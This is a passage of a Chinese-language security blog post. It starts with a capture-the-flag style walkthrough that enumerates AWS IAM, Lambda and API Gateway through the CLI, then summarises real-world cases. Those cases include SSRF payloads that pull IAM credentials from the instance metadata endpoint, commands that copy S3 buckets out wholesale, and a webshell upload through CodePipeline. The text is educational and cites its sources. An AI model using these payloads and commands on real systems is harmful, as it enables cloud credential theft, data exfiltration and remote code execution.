"PolicyName": "list_apigateways",
"PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
},
{
"PolicyName": "MySecurityAudit",
"PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
}
]
}
(env) ---

一旦你知道该策略的ARN,你就可以获得它的版本ID:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
~/aws » aws --profile level6 iam get-policy  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
{
"Policy": {
"IsAttachable": true,
"Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
"PolicyName": "list_apigateways",
"PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
"PermissionsBoundaryUsageCount": 0,
"AttachmentCount": 1,
"CreateDate": "2017-02-20T01:45:17Z",
"DefaultVersionId": "v4",
"Description": "List apigateways",
"Path": "/",
"UpdateDate": "2017-02-20T01:48:17Z"
}
}

现在你已拥有ARN和版本ID,你可以看到实际的策略是什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
~/aws » aws --profile level6 iam get-policy-version  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
{
"PolicyVersion": {
"CreateDate": "2017-02-20T01:48:17Z",
"VersionId": "v4",
"IsDefaultVersion": true,
"Document": {
"Statement": [
{
"Effect": "Allow",
"Resource": "arn:aws:apigateway:us-west-2::/restapis/*",
"Action": [
"apigateway:GET"
]
}
],
"Version": "2012-10-17"
}
}
}

这告诉我们使用这个策略我们可以在"arn:aws:apigateway:us-west-2::/restapis/*"上调用"apigateway:GET"

使用它,它应该引导你到隐藏资源的方向。

你现在知道你有能力GET "arn:aws:apigateway:us-west-2::/restapis/*"

在这种情况下,API网关用于调用lambda函数,但你需要弄清楚如何调用它。

SecurityAudit策略可以让你看到有关lambdas的一些信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
~/aws » aws --region us-west-2 --profile level6 lambda list-functions
{
"Functions": [
{
"Role": "arn:aws:iam::975426262029:role/service-role/Level6",
"Runtime": "python2.7",
"FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
"FunctionName": "Level6",
"Timeout": 3,
"TracingConfig": {
"Mode": "PassThrough"
},
"LastModified": "2017-02-27T00:24:36.054+0000",
"CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
"RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89",
"MemorySize": 128,
"Version": "$LATEST",
"CodeSize": 282,
"Description": "A starter AWS Lambda function.",
"Handler": "lambda_function.lambda_handler"
}
]
}

这告诉你有一个名为“Level6”的函数,SecurityAudit还允许你运行:

1
2
3
4
5
~/aws » aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
{
"Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"你33ppypa75/*/GET/level6\"}}}]}",
"RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
}

这告诉你能够执行arn:aws:execute-api:us-west-2:975426262029:s33ppypa75 / * / GET / level6 \那个“s33ppypa75”是一个rest-api-id,你可以与其他附加政策一起使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
~/aws » aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
{
"item": [
{
"tracingEnabled": false,
"cacheClusterStatus": "NOT_AVAILABLE",
"createdDate": 1488155168,
"cacheClusterEnabled": false,
"deploymentId": "8gppiv",
"stageName": "Prod",
"methodSettings": {},
"lastUpdatedDate": 1488155168
}
]
}

这告诉你舞台名称是“Prod”。使用rest-api-id,阶段名称,区域和资源调用Lambda函数,如https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6

修复建议

通常为人员和实体提供只读权限,例如SecurityAudit策略。读取你自己和其他IAM策略的能力确实可以帮助攻击者找出你环境中存在的内容并寻找漏洞和错误。

不要随意分发任何权限,即使只允许你读取元数据或知道你的权限是什么的权限。

aws案例

在AWS Elastic Beanstalk中利用SSRF

AWS Elastic Beanstalk支持Web Server和Worker环境配置。

Elastic Beanstalk不会为其创建的Amazon S3 Storage bucket启用默认加密。这意味着默认情况下,对象以未加密的形式存储在Storage bucket中(并且只能由授权用户访问)。

将 Elastic Beanstalk 用于 Amazon S3

Elastic Beanstalk 为您在其中创建环境的每个区域创建一个名为 elasticbeanstalk-*region*-*account-id* 的 Amazon S3 存储桶。Elastic Beanstalk 使用此存储桶存储应用程序正常运行所需的对象,例如,临时配置文件。

1.应用程序存在服务器端请求伪造(SSRF)漏洞

漏洞链接

1
http://staging.xxxx-redacted-xxxx.com/view_pospdocument.php?doc=http://localhost/server-status

2.通过服务器指纹识别确认服务提供商是亚马逊

3.ssrf查询aws api,检索了访问密钥,秘密访问密钥和令牌:

1
view_pospdocument.php?doc=http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

4.配置AWS命令行界面

1
aws configure --profile myaccount

验证你是否已代入 IAM 角色,获取Account

1
aws sts get-caller-identity

5.AWS CLI以递归方式列出了bucket resources

1
aws s3 ls s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/

6.递归复制所有S3 Bucket Data

1
aws s3 cp s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/ /home/foobar/awsdata -recursive

7.ssrf->rce

上传webshell

1
aws s3 cp /home/webshell.php s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/webshell.php

上传失败,返回404

8.添加管道

软件版本使用AWS Pipeline,S3存储桶作为源存储库,Elastic Beanstalk作为部署提供程序自动执行

9.跳过构建阶段

10.添加部署提供程序

10.成功创建新管道
现在,是时候在S3 bucket 中上传一个新文件(webshell)来执行系统级命令,如图19所示:

11.在源提供程序中配置的对象中添加该文件

12.在对象中添加webshell,使用AWS CLI命令将存档文件上载到S3 bucket

13.CodePipeline立即启动构建过程

14.管道触发

https://xz.aliyun.com/t/4088

https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

1.找到ssrf触发点

1
downloadcallback/download_handler.php?path=

存在本地文件包含,ssrf

file:/// , dict:// , ftp:// and gopher://读取本地文件内容

2.读取了/etc/motd文件,该文件表明该应用程序是通过AWS ElasticBeanstalk部署的

通过SSRF搜索AWS实例元数据和用户数据

从以下API中检索AWS账户ID和Region

1
downloadcallback/download_handler.php?path=http://169.254.169.254/latest/dynamic/instance-identity/document

3.获取AWS Access Key,Secret Access Key和Token

1
downloadcallback/download_handler.php?path=http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role

https://www.freebuf.com/articles/web/198687.html

配置错误的AWS到AWS Bucket Takeover的信息泄露

1.找到aws存储桶的png图片 s3.region.amazonaws.com/downloads/xxx.png

2.访问s3.region.amazonaws.com/downloads/ 发现信息泄露,遍历所列出的文件

3.下载zip文件

4.发现document.wflow文件包含了我需要收集AWS Bucket的所有内容

5.使用access_keysecret_key进行登陆

-------------本文结束感谢您的阅读-------------